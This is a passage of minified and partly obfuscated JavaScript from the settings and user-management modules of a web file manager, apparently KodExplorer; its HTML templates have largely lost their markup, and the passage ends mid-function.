{{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/src/setting/fav",[],function(a,b){var c=G.appHost+"fav/",d=function(a){$.ajax({url:c+"get",dataType:"json",async:!1,success:function(b){return b.code?void e(b.data,a):void Tips.tips(b)},error:function(){return!1}})},e=function(a,b){var c=""+htmlEncode(LNG.name)+"("+LNG.can_not_repeat+")"+htmlEncode(LNG.address)+"("+LNG.absolute_path+")"+LNG.action+"";for(var d in a)c+=" ";if($("table#list").html(c),b&&"fav&"==b.substring(0,4)){var e=b.split("&")[1].split("=")[1],f=b.split("&")[2].split("=")[1],g=b.split("&")[3].split("=")[1];e=htmlEncode(urlDecode(e)),f=htmlEncode(urlDecode(f));var h=" ";$(h).insertAfter("table#list tr:last")}},f=function(){var a=" ";$(a).insertAfter("table#list tr:last")},g=function(){var a=$(this).parent().parent();$(a).detach()},h=function(){var a=$(this).parent().parent(),b=$(a).find("#sname").val(),d=$(a).find("#spath").val(),e=$(a).find("#stype").val();return""==b||""==d?(Tips.tips(LNG.not_null,"error"),!1):void $.ajax({url:c+"add&name="+urlEncode(b)+"&path="+urlEncode(d)+"&type="+e,dataType:"json",success:function(c){if(Tips.tips(c),c.code){$(a).attr("name",b),$(a).attr("path",d);var e="";$(a).find("td.action").html(e),ShareData.frameTop("",function(a){a.ui.tree.refreshFav()})}}})},i=function(){var a=$(this).parent().parent(),b=$(a).attr("name"),e=$(a).find("#sname").val(),f=$(a).find("#spath").val();return""==e||""==f?(Tips.tips(LNG.not_null,"error"),!1):void $.ajax({dataType:"json",url:c+"edit&name="+urlEncode(b)+"&nameTo="+urlEncode(e)+"&pathTo="+urlEncode(f),success:function(b){Tips.tips(b),b.code&&($(a).attr("name",e),ShareData.frameTop("",function(a){a.ui.tree.refreshFav()}),d())}})},j=function(){var a=$(this).parent().parent(),b=$(a).attr("name");$.ajax({url:c+"del&name="+urlEncode(b),dataType:"json",async:!1,success:function(b){Tips.tips(b),b.code&&($(a).detach(),ShareData.frameTop("",function(a){a.ui.tree.refreshFav()}))}})},k=function(){$(".fav .add").live("click",f),$(".fav .addexit").live("click",g),$(".fav .addsave").live("click",h),$(".fav .edit").live("click",i),$(".fav .del").live("click",j)};return k(),{init:d}});;define("app/src/setting/setting",["./page/about.html","./page/fav.html","./page/help.html","./page/member.html","./page/system.html","./page/theme.html","./page/user.html","./page/wall.html"],function(a,b){var c,d=function(a){core.setSkin(a),ShareData.frameTop("",function(b){b.ui.setTheme(a)}),"diy"!=a?$(".theme-diy-setting").addClass("hidden"):$(".theme-diy-setting").removeClass("hidden")},e=function(a){core.setSkin(a)};template.helper("menuInfoDecode",function(a){var b=htmlEncode(urlDecode(a));return b});var f=function(b){var c={about:a("./page/about.html"),fav:a("./page/fav.html"),help:a("./page/help.html"),member:a("./page/member.html"),system:a("./page/system.html"),theme:a("./page/theme.html"),user:a("./page/user.html"),wall:a("./page/wall.html")};return c[b]},g=function(a){(""==a||void 0==a)&&(a="user"),c=a,"fav&"==a.substring(0,4)&&(a="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+a).addClass("selected");var b=window.location.href;-1!=b.indexOf("#")&&(b=b.substr(0,b.indexOf("#"))),window.location.href=b+"#"+a,$.ajax({url:G.appHost+"setting/slider&slider="+a,beforeSend:function(a){$(".main").html("")},success:function(b){if("about"==a){var d=b.data;if(b.data="",!core.tools.about(d))return;b.data=d}var e=$(".menu-left .selected").clone();e.find(".ripple-father").remove();var g="
        "+e.html()+"
        ",i=f(a),j=template.compile(i),k=j({urlDecode:urlDecode,LNG:LNG,G:G,data:b.data,info:b.info});$(".main").html(g+k),$(".main").fadeIn("fast"),"fav"==a&&Fav.init(c),"member"==a&&System.init(),"theme"==a&&h(),c=a,$("a,img").attr("draggable","false")}})},h=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),a.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$(".control-slider").slider().on("slide",c)}),a.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color-picker").ColorPicker({onBeforeShow:function(a){$(a).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(a){return $(a).fadeIn(100),!1},onHide:function(a){return $(a).fadeOut(100),!1},onChange:function(a,b,d){var e=$($(this).data("colorpicker").el);e.val("#"+b),e.parent().find(".btn i").css("background",e.val()),c()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),$(".color-picker-view").click(function(){$(this).parent().find(".color-picker").click()})});var b=$(".theme-diy-setting");b.find("input[name]").unbind("change").bind("change",function(){var a=$(this).attr("name");"bgType"==a&&($(".theme-bg-type-image,.theme-bg-type-color").addClass("hidden"),$(".theme-bg-type-"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||c()}),b.find(".theme-diy-save").unbind("click").bind("click",function(){var a=G.userConfig.themeDIY;$.ajax({url:G.appHost+"setting/set&k=themeDIY&v="+urlEncode(jsonEncode(a)),dataType:"json",success:function(a){Tips.tips(a)}})}),b.find(".color-list").each(function(){var a=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+a.colorRotate+"deg,"+a.startColor+","+a.endColor+")")}),b.find(".color-list").unbind("click").bind("click",function(){var a=jsonDecode($(this).attr("data-color"));$.each(a,function(a,d){var e=b.find("input[name="+a+"]");"colorRotate"==a?$("#colorRotate").slider("setValue",parseInt(d)):(e.val(d),e.parent().find(".color-picker-view i").css("background",d)),c()})});var c=function(){if("diy"==LocalData.get("theme")){var a={};b.find("input[name]").each(function(){var c=$(this).attr("name"),d=$(this).val();"checkbox"==$(this).attr("type")?d=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(d=b.find("[name="+c+"]:checked").val()),a[c]=d}),LocalData.setConfig("kodStyleDiy",a),core.setSkin("diy"),ShareData.frameTop("",function(a){a.ui.setTheme("diy")})}}},i=function(){1!=G.isRoot&&$("ul.setting #system").remove(),G.isRoot||core.authCheck("systemMember.get")||core.authCheck("systemGroup.get")?$("ul.setting #member").show():$("ul.setting #member").hide(),c=location.hash.split("#",2)[1],g(c),$("ul.setting a").click(function(){c!=$(this).attr("id")&&(c=$(this).attr("id"),g(c))}),$("#password-new").keyEnter(function(){Setting.tools()}),$(".setting-user-basic .form-row input").die("change").live("change",function(a){var b=$(this),c=b.attr("name"),d=b.val();"checkbox"==b.attr("type")&&(d=b.prop("checked")?"1":"0"),j(c,d)}),$(".path-select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(a){var a=core.path2url(a);$(".path-select").parent().find("input[type=text]").val(a).trigger("change"),Setting.tools()})}),$(".randomImage").die("click").live("click",function(){var a=$(this),b=function(a){var b=G.myDesktop+"wallpage/";$.get(G.appHost+"explorer/mkdir&repeat_type=replace&path="+b,function(){$.get(G.appHost+"explorer/serverDownload&type=download&savePath="+b+"&url="+urlEncode(a))})};core.api.randomImage(function(c){a.addClass("moveCircle"),a.parent().find("input[type=text]").val(c).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){a.removeClass("moveCircle")},1e3),b(c)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(a){var b=$(this),c=b.parent();if(type=c.attr("data-type"),value=b.attr("data-value"),$(a.target).hasClass("item-remove"))return void b.remove();switch(-1!=$.inArray(type,["wall","theme"])&&(c.find(".this").removeClass("this"),b.addClass("this")),type){case"wall":var e=value;-1==value.indexOf("/")&&(e="./static/images/wall_page/"+value+".jpg"),$("#wallpage-url").val(""),ShareData.frameTop("",function(a){a.ui.setWall(e)}),j(type,value);break;case"theme":d(value),j(type,value)}}),$(".box .list-add").die("click").live("click",function(a){$wallpageAddItem=$(this),core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg",single:!1,makeUrl:!0,firstPath:G.basicPath+"static/images/wall_page/",callback:function(a){var b="";$.each(a,function(){var a=this.url.replace(G.appRoot,"./");return-1!==a.indexOf(",")?void Tips.tips(LNG.error+": "+a,"error"):$wallpageAddItem.parent().find('[data-value="'+a+'"]').exists()?void Tips.tips(LNG.path_exists+": "+a,"warning"):void(b+="
        "+core.pathThis(a)+"
        ")}),$(b).insertAfter($wallpageAddItem)}})}),$(".wall-login-setting .save,.wall-desktop-setting .save").die("click").live("click",function(a){var b=$(this).parents(".setting-tab").find(".box"),c=b.attr("data-type"),d={},e=[];$.each(b.find("[data-value]"),function(){e.push($(this).attr("data-value"))}),d[c]=e.join(","),$.ajax({url:G.appHost+"setting/systemSetting",dataType:"json",data:"data="+urlEncode(jsonEncode(d)),success:function(a){if(Tips.tips(a),"wallpageDesktop"==c){var b=$(".wall-desktop-setting .box").html(),d="";$(".wall-desktop .box .list.this").exists()&&(d=$(".wall-desktop .box .list.this").attr("data-value")),$(".wall-desktop .box").html(b),$(".wall-desktop .box").find(".list-add").remove(),$(".wall-desktop .box").find(".item-remove").remove(),$('.wall-desktop .box [data-value="'+d+'"]').addClass("this")}}})}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var a=$(this).attr("data-page"),b=$(this).parent().parent();b.find(".setting-tab").addClass("hidden"),b.find("."+a).removeClass("hidden").hide().fadeIn(200)})},j=function(a,b){var c=G.appHost+"setting/set&k="+a+"&v="+b;$.ajax({url:c,dataType:"json",success:function(a){a.code?Tips.tips(a):core.authCheck("setting.set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},k=function(a){var b=$(".selected").attr("id");switch(b){case"user":var c=urlEncode($("#password-now").val()),d=urlEncode($("#password-new").val());if(""==d||""==c){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:G.appHost+"user/changePassword&passwordNow="+c+"&passwordNew="+d,dataType:"json",success:function(a){if(Tips.tips(a),a.code){var b=ShareData.frameTop();b.location.href=G.appHost+"user/logout"}}});break;case"wall":var e=$("#wallpage-url").val();if(""==e){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(a){a.ui.setWall(e)}),$(".box").find(".this").removeClass("this"),$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(a){Tips.tips(a)}})}};return{init:i,setGoto:g,tools:k,setThemeSelf:e,setTheme:d}});;define("app/src/setting/page/about.html",[],'
        \n
        {{@data}}
        \n
        \n');;define("app/src/setting/page/fav.html",[],'\n');;define("app/src/setting/page/help.html",[],'
        \n
        {{@data}}
        \n
        \n');;define("app/src/setting/page/member.html",[],'
        \n
        \n
        \n
        {{LNG.system_group_edit}}
        \n
        {{LNG.system_group_role}}
        \n
        \n
        \n
        \n
        \n
        \n\n \n
        \n \n\n
        \n\n
        \n
        \n
        \n --\n id:\n \n\n \n \n 111/1.5\n
        \n
        \n
        \n
        \n
        \n \n\n
        \n
        \n
        \n \n id:\n \n
        \n
        \n\n \n\n
        \n \n
        \n\n\n\n');;define("app/src/setting/page/system.html",[],'\n\n{{if G.isRoot}}\n
        \n {{if kod.window.core.versionType !="A"}}\n \n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3","R":"4","S":"5","T":"6"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[kod.window.core.versionType] }}{{/if}}\n {{LNG[verKey]}}\n
        \n{{/if}}\n\n\n
        \n
        \n
        \n
        {{LNG.system_name}}:
        \n
        \n \n {{LNG.system_name_desc}}\n \n
        \n
        \n
        \n\n
        \n
        {{LNG.system_desc | kod.window.htmlEncode}}:
        \n
        \n \n {{LNG.system_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.path_hidden}}:
        \n
        \n \n {{LNG.path_hidden_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.new_user_folder}}:
        \n
        \n \n {{LNG.new_user_folder_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.new_user_app}}:
        \n
        \n \n {{LNG.new_user_app_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.auto_login}}:
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.first_in}}:
        \n
        \n \n \n \n
        \n
        \n
        \n\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n\n\n\n\n\n\n\n\n\n\n');;define("app/src/setting/page/theme.html",[],'
        \n
        \n {{each data.settingAll.themeall.split(\',\') value key}}\n
        \n
        \n
        {{@LNG[\'theme_\'+value]}}
        \n
        \n {{/each}}\n\n {{each data.settingAll.themeall.split(\',\') value key}}\n
        \n {{/each}}\n \n
        \n
        \n
        \n\n{{if config = G.userConfig.themeDIY}}{{/if}}\n
        \n

        {{LNG.theme_diy_title}}

        \n
        \n
        \n
        {{LNG.theme_diy_background}}:
        \n
        \n \n \n
        \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_image_blur}}:
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.theme_diy_image_url}}:
        \n
        \n \n \n \n
        \n
        \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_color_start}}:
        \n
        \n \n \n   \n
        \n
        \n
        \n
        \n
        {{LNG.theme_diy_color_end}}:
        \n
        \n \n \n  \n
        \n
        \n
        \n
        \n
        {{LNG.theme_diy_color_radius}}:
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        \n');;define("app/src/setting/page/user.html",[],'\n\n
        \n
        \n
        \n
        {{LNG.recycle_open_if}}:
        \n
        \n \n
        \n
        \n
        \n\n\n
        \n
        {{LNG.setting_user_animate_open}}:
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.setting_user_sound_open}}:
        \n
        \n \n
        \n
        \n
        \n
        \n\n
        \n
        {{LNG.upload_exist}}:
        \n
        \n \n \n \n
        \n
        \n
        \n
        \n
        \n\n
        \n
        {{LNG.setting_user_imageThumb}}:
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.setting_user_fileSelect}}:
        \n
        \n \n
        \n
        \n
        \n\n\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n
        \n\n\n\n');;define("app/src/setting/page/wall.html",[],'\n\n\n
        \n
        \n
        \n {{each data.wallpageDesktop.split(\',\') value key}}\n {{if value}}\n
        \n {{if value.indexOf(\'/\')== -1}}\n
        \n {{else}}\n
        \n {{/if}}\n
        {{value | kod.core.pathThis}}
        \n
        \n {{/if}}\n {{/each}}\n {{each \'1,1,1,1,1,1,1\'.split(\',\') value key}}
        {{/each}}\n
        \n
        \n
        \n
        \n

        {{LNG.setting_wall_diy}}

        \n
        \n
        \n
        URL:
        \n
        \n 3}}value="{{data.user.wall}}"{{/if}}/> \n \n \n
        \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n
        \n
        \n
        \n
        \n\n\n\n\n\n\n');;define("app/src/setting/system/systemSetting",[],function(a,b){var c=function(){$("input[name='firstIn']").live("click",function(){$("input[name='firstIn']").removeAttr("checked"),$(this).attr("checked","checked")}),$(".setting-save").die("click").live("click",function(){var a={};$(this).parents(".setting-tab").find(".form-row [name]").each(function(){var b=$(this),c=b.attr("name");"checkbox"==b.attr("type")?a[c]=void 0==b.attr("checked")?"0":"1":"radio"==b.attr("type")?a[c]=$("[name="+c+"]:checked").val():a[c]=urlEncode(b.val())}),g(a)}),$(".system-setting-more").die("click").live("click",function(){if(G.isRoot){var a=G.basicPath+"config/setting_user.php",b=ShareData.frameTop();if("undefined"!=typeof b.Editor)return void b.Editor.add(urlEncode(a));if(ShareData.frameTop("OpenopenEditor")){var c=b.$.dialog.list.openEditor,d=0;c&&("hidden"==$("."+c.config.id).css("visibility")&&(d=200),c.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(b){b.Editor.add(urlEncode(a))})},d)}else{var e=G.appHost+"editor/edit#filename="+urlEncode(a);core.openDialog(e,core.icon("edit"),htmlEncode(a),"openEditor")}}}),d(),e(),f()},d=function(){$(".phpinfo").die("click").live("click",function(){$.dialog.open(G.appHost+"setting/phpInfo&accessToken="+G.accessToken,{title:"php_info",width:"70%",height:"65%",resize:!0})}),$.get(G.appHost+"setting/slider&slider=system&env_check=1",function(a){if(a&&""!=a.data){Tips.tips(a.data,"warning");var b=$(".check-evn-error");b.removeClass("hidden"),b.find(".error-content").html(a.data)}})},e=function(){$('.setting-menu .menu-list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting-menu .system-menu-add").die("click").live("click",function(){var a=$(".menu-default").clone().removeClass("menu-default hidden").addClass("menu-list");a.insertAfter(".setting-menu .menu-list:last")}),$(".setting-menu .menu-list .move-up").die("click").live("click",function(){var a=$(this).parent().parent();a.prev().hasClass("menu-list")&&a.insertBefore(a.prev())}),$(".setting-menu .menu-list .move-down").die("click").live("click",function(){var a=$(this).parent().parent();a.next().hasClass("menu-list")&&a.insertAfter(a.next())}),$(".setting-menu .menu-list .move-hidden").die("click").live("click",function(){var a=$(this).parent().parent();a.hasClass("menu-hidden")?(a.removeClass("menu-hidden"),$(this).text(LNG.menu_hidden)):(a.addClass("menu-hidden"),$(this).text(LNG.menu_show))}),$(".setting-menu .menu-list .move-del").die("click").live("click",function(){var a=$(this).parent().parent();a.remove()}),$(".system-menu-save").die("click").live("click",function(){var a=[];$(".setting-menu .menu-list").each(function(){var b=$(this),c={};b.hasClass("menu-default")||(b.find("input").each(function(){var a=$(this).attr("value");"checkbox"==$(this).attr("type")&&(a=Number($(this).prop("checked"))),"target"==$(this).attr("name")&&a&&(a="_blank"),c[$(this).attr("name")]=urlEncode(a)}),""!=c.name&&(c.use="1",c.type="",b.hasClass("menu-hidden")&&(c.use="0"),b.hasClass("menu-system")&&(c.type="system"),a.push(c)))}),g({menu:a})})},f=function(){$("[system-tools]").die("click").live("click",function(){var a=$(this),b=a.attr("system-tools"),c=htmlRemoveTags(a.html());a.addClass("disabled").html(LNG.loading),Tips.loading(LNG.loading),$.ajax({url:G.appHost+"setting/systemTools&action="+b,dataType:"json",error:function(b,d,e){core.ajaxError(b,d,e),Tips.close(LNG.error,!1),a.removeClass("disabled").html(c)},success:function(b){Tips.close(b),setTimeout(function(){a.removeClass("disabled").html(c)},300)}})})},g=function(a){$.ajax({url:G.appHost+"setting/systemSetting",type:"POST",data:"accessToken="+G.accessToken+"&data="+urlEncode(jsonEncode(a)),dataType:"json",success:function(a){Tips.tips(a)}})};1==G.isRoot&&c()});;define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./systemMember","./tpl/userList.html","./tpl/user.html","./tpl/userImport.html","./tpl/groupSelect.html","./systemGroup","./tpl/group.html","./systemRole","./systemGroupRole","./tpl/groupRoleSetting.html"],function(a,b){a("lib/contextMenu/jquery-contextMenu"),a("lib/ztree/ztree");var c=a("./systemMember"),d=a("./systemGroup"),e=a("./systemRole"),f=a("./systemGroupRole"),g=function(){h("system-group"),i(),f.init(function(){e.init(),d.init()})},h=function(a){$(".system-content .this").removeClass("this"),$(".system-content #"+a).addClass("this"),$(".left-content").addClass("hidden"),$("."+a).removeClass("hidden"),$(".right-frame").addClass("hidden"),$("#content-"+a).removeClass("hidden")},i=function(){$(".left-header .tab").die("click").live("click",function(){var a=$(this).attr("id");h(a)});var a=$(".system-content .frame-resize"),b=$(".system-content .left-frame").width();a.drag({start:function(){a.addClass("active"),b=$(".system-content .left-frame").width()},move:function(c,d){var e=b+c;e=10>=e?10:e>=500?500:e,$(".system-content .left-frame").css("width",e),$(".system-content .right-frame").css("left",e),a.css("left",e)},end:function(b,c){a.removeClass("active")}})},j=function(a){a.each(function(){var a=core.userSpaceHtml($(this).html());$(this).html(a)})},k=function(a){var b=G.userPath+a.path+"/home/";a.groupID&&(b=G.groupPath+a.path+"/home/"),a.homePath&&(b=a.homePath),window.parent&&window.parent.core&&window.parent.core.isApp("explorer")?ShareData.frameTop("",function(a){a.$.artDialog.list.setting_mode.display(!1),a.Tips.loading(LNG.loading),setTimeout(function(){a.ui.path.list(b),a.Tips.close(LNG.system_open_true_path,!0)},200)}):core.explorer(b)};return{init:g,sizeUse:j,openPath:k,systemMember:c,systemGroup:d,systemRole:e,systemGroupRole:f}});;;!function($){!function($,n,i,t,r,o,e,c,a,E,u,f,s,G,v,d,p,K,h,l,J,A,L,O,k,b,_,C,g,m,y,X,N,R,D,T,S,U,P,q,Q,V,F,M,w,B,H,I,x,W,Y,Z,z,j,$n,nn,tn,rn,on,en,cn,an,En,un,fn,sn,Gn,vn,dn,pn,Kn,hn,ln,Jn,An,Ln,On,kn,bn,_n,Cn,gn,mn,yn,Xn,Nn,Rn,Dn,Tn,Sn,Un,Pn,qn,Qn,Vn,Fn,Mn,wn,Bn,Hn,In,xn,Wn,Yn,Zn,zn,jn,$i,ni,ii,ti,ri,oi,ei,ci,ai,Ei,ui,fi,si,Gi,vi,di,pi,Ki,hi,li,Ji,Ai,Li,Oi,ki,bi,_i,Ci,gi,mi,yi,Xi,Ni,Ri,Di,Ti,Si,Ui,Pi,qi,Qi,Vi,Fi,Mi,wi,Bi,Hi,Ii,xi,Wi,Yi,Zi,zi,ji,$t,nt,it,tt,rt,ot,et,ct,at,Et,ut,ft,st,Gt,vt,dt,pt,Kt,ht,lt,Jt,At,Lt,Ot,kt,bt,_t,Ct,gt,mt,yt,Xt,Nt,Rt,Dt,Tt,St,Ut,Pt,qt,Qt,Vt,Ft,Mt,wt,Bt,Ht,It,xt,Wt,Yt,Zt,zt,jt,$r,nr,ir,tr,rr,or,er,cr,ar,Er,ur,fr,sr,Gr,vr,dr,pr,Kr,hr,lr,Jr,Ar,Lr,Or,kr,br,_r,Cr,gr,mr,yr,Xr,Nr,Rr,Dr,Tr,Sr,Ur,Pr,qr,Qr,Vr,Fr,Mr,wr,Br,Hr,Ir,xr,Wr,Yr,Zr,zr,jr,$o,no,io,to,ro,oo,eo,co,ao,Eo,uo,fo,so,Go,vo,po,Ko,ho,lo,Jo,Ao,Lo,Oo,ko,bo,_o,Co,go){$[i](t,[r,o,e,c],function(n){var i,t,mo=function(n){return void a!=i?void yo(n):void $[u][E]({url:$[s][f]+G,dataType:v,success:function(t){return t[d]?(i=$[K][p](t,h),void yo(n)):void $[J][l](t)},error:function(){return!A}})},yo=function(o){(L==o||void a==o)&&(o=t),t=o;var e=n(r),c=$[k][O](e),E=c({LNG:$[b],selectGroup:o,userList:i,groupRoleList:$[g][C][_](),groupList:$[g][m][_](),roleList:$[g][y][_]()});$[u](N)[X](E),$[u](D)[R](T),$[g][S]($[u](U))},Xo=function(n,r,o){if(void a!=r){P!=typeof r&&(r=[r]);var e={del:$[b][q],roleSet:$[b][Q],groupRemoveFrom:$[b][V]},c=function(){$[u][E]({url:$[s][f]+F+n,type:M,data:w+$[B](r)+H+o,dataType:v,beforeSend:function(){$[J][I]()},error:$[K][x],success:function(n){$[J][W](n),$[u][Z][Y][z]&&$[u][Z][Y][z][W](),i=void a,mo(t)}})};e[n]?$[u][Z]({id:j,fixed:!a,icon:$n,padding:nn,width:tn,lock:!a,background:rn,opacity:on,content:e[n],ok:function(){c()},cancel:!a}):c()}},No=en,Ro=function($){Po(To($))},Do=function($){Po(To($),!a)},To=function($){var n={1:No};return n[$]=No,{userID:L,name:L,password:cn,role:an,groupInfo:n,config:{sizeMax:En,sizeUse:un}}},So=function(){var n=fn*$[sn]($[u](vn)[Gn]()),i=$[pn][dn](n);a==n||$[Kn](n)?$[u](hn)[X]($[b][ln]):$[u](hn)[X](i)},Uo=function(){var n=$[g][m][_](),i=$[g][C][_](),t=$[Jn]($[u](Ln)[An](On)),r=L;for(var o in t)if(n[o]){var e=t[o];e=kn==e?bn:e,e=en==e?En:e;var c=i[e]?i[e]:i[A];r+=_n+c[Cn]+gn+c[mn]+yn+n[o][mn]+Xn}$[u](Nn)[X](r+Rn)},Po=function(r,c){var G=$[g][y][_](),p=n(o);c&&(p=n(e));var h=$[k][O](p),C=h({LNG:$[b],userInfo:r,roleList:G}),m=$[u][Z]({id:z,simple:!a,resize:!A,width:Dn,background:rn,opacity:Tn,title:L,padding:un,fixed:!a,lock:!a,content:C});So(),$[g][S]($[u](Sn)),$[u](Ln)[Gn]($[B](r[Un])),$[u](Qn)[qn](Vn)[Pn](Vn,function(){qo($[u](Ln)[Gn](),function(n){$[u](Ln)[Gn](n),Uo()})}),Uo(),$[u](Mn)[Fn]();var N=$[s][f]+wn;c?N=$[s][f]+Bn:L==r[mn]?$[u](In)[Hn]():N=$[s][f]+xn+r[Wn],$[u](Yn)[qn](Vn)[Pn](Vn,function(){D()}),$[u](Zn)[qn](Vn)[Pn](Vn,function(){$[u](this)[$i]()[$i]()[jn](ni)[zn](ii),$[u](this)[R](ii),$[u](ti)[X]($[u](this)[X]()),$[u](ri)[Gn]($[u](this)[An](oi))}),$[u](ei)[qn](Vn)[Pn](Vn,function(){Xo(ci,r[Wn],L)}),$[u](ai)[qn](Vn)[Pn](Vn,function(){$[g][Ei](r)}),$[u](fi)[ui](function(){D(!a)}),$[u](si)[qn](Vn)[Pn](Vn,function(){D(!a)}),$[u](Gi)[qn](Vn)[Pn](Vn,function(){$[u](di)[vi](pi)}),$[u](Ki)[qn](Vn)[Pn](Vn,function(){var n=this;$[K][li][hi]({type:Ji,title:$[b][Ai],firstPath:$[u](Li)[Gn]()},function(i){$[u](n)[$i]()[jn](Oi)[Gn](i)})}),$[u](ki)[qn](Vn)[Pn](Vn,function(){$[u](this)[$i]()[jn](Oi)[Gn](L)});var D=function(n){c&&(n=!A);var o={};return $[u](_i)[bi](function(){var n=$[Ci]($[u](this)[Gn]());L!=n&&(o[$[u](this)[An](mn)]=n)}),L==$[gi]($[mi](o[mn]))?($[J][l]($[b][yi],Xi),!A):void $[u][E]({url:N,data:o,type:M,dataType:v,beforeSend:function(){$[J][I]()},error:$[K][x],success:function(o){return $[J][W](o),o[d]||Ni!=o[Ri]?(i=void a,mo(t),o[d]?void(c?m[W]():L!=r[mn]||A!=n?m[W]():$[u](Mn)[Gn](L)[Fn]()):void(c&&$[u](Mn)[Gn](o[Ri]))):void $[u][Z]({content:o[Di],padding:Ti,width:Si,okVal:$[b][Ui],ok:function(){$[qi][Pi]($[K][Qi])}})}})}},qo=function(i,t){var r=$[g][m][Vi](),o=$[g][m][_]();i=$[Jn](i),$[u][Fi](i)&&(i={});var e={view:{showLine:!A,selectedMulti:!A,dblClickExpand:!A,addDiyDom:function(n,i){var t=Mi,r=$[u](wi+n+Bi+i[Hi]+Ii),o=$[u](wi+n+Bi+i[Hi]+xi);if(o[Yi](r)[Zi](zi)[Yi](ji+$[K][$t](nt)+Xn)[zn](it)[R](tt)[Wi](),i[rt]>=A){var e=ot+t*i[rt]+et;r[Yi](e)}$[u](wi+n+Bi+i[Hi]+ct)[An](at,i[Et])}},callback:{onClick:function(n,t,r){i||(i={}),$[u](wi+r[Hi]+ct)[ut](ft)?delete i[r[Et]]:i[r[Et]]=No,G()}}},E=function(){var n=$[u](st);$[u][dt][vt][Gt](n,e,r);var i=$[u][dt][vt][pt](Kt),t=i[ht]();i[lt](t[a],!a)},f=function(){var r=n(c),o=$[k][O](r),e=o({LNG:$[b]});$[u][Z]({id:Jt,title:$[b][At],padding:un,width:Lt,height:Ot,lock:!a,background:kt,opacity:Tn,resize:!a,fixed:!a,content:e,ok:function(){t($[B](i))},cancel:!a}),E()},s=function($,n){for(var i=[],t=$[bt](Et,n,_t),r=t;t=t[Ct]();)i[gt](t);for(var o=i[mt]-A;o>=a;o--)$[lt](i[o],!a);$[lt](r,!a)},G=function(){var n=L;$[u](yt)[zn](Xt),$[u](Nt)[zn](ft);var t=function(n){var i=$[g][C][_]();n=kn==n?bn:n,n=en==n?En:n;var t=i[n]?i[n]:i[A],r=Rt;for(var o in i){var e=i[o];if(e[Dt]){var c=o==n?ii:L;r+=Tt+o+St+c+yn+e[mn]+Ut}}r+=Pt;var a=qt+n+Qt+t[Cn]+Vt+t[mn]+Ft+r+Mt;return a},r=$[u][dt][vt][pt](Kt);$[u][wt](i)&&s(r,$[u](Ht)[Bt]());for(var e in i)o[e]&&(s(r,e),$[u](It+e+xt)[R](ft),n+=Wt+e+Yt+o[e][mn]+Zt+t(i[e])+Ut);$[u](zt)[X](n)},v=function(){$[u](nr)[$r](Vn)[jt](Vn,function(){var n=$[u](this)[$i]()[An](ir);delete i[n],G()}),$[u](tr)[$r](Vn)[jt](Vn,function(){var 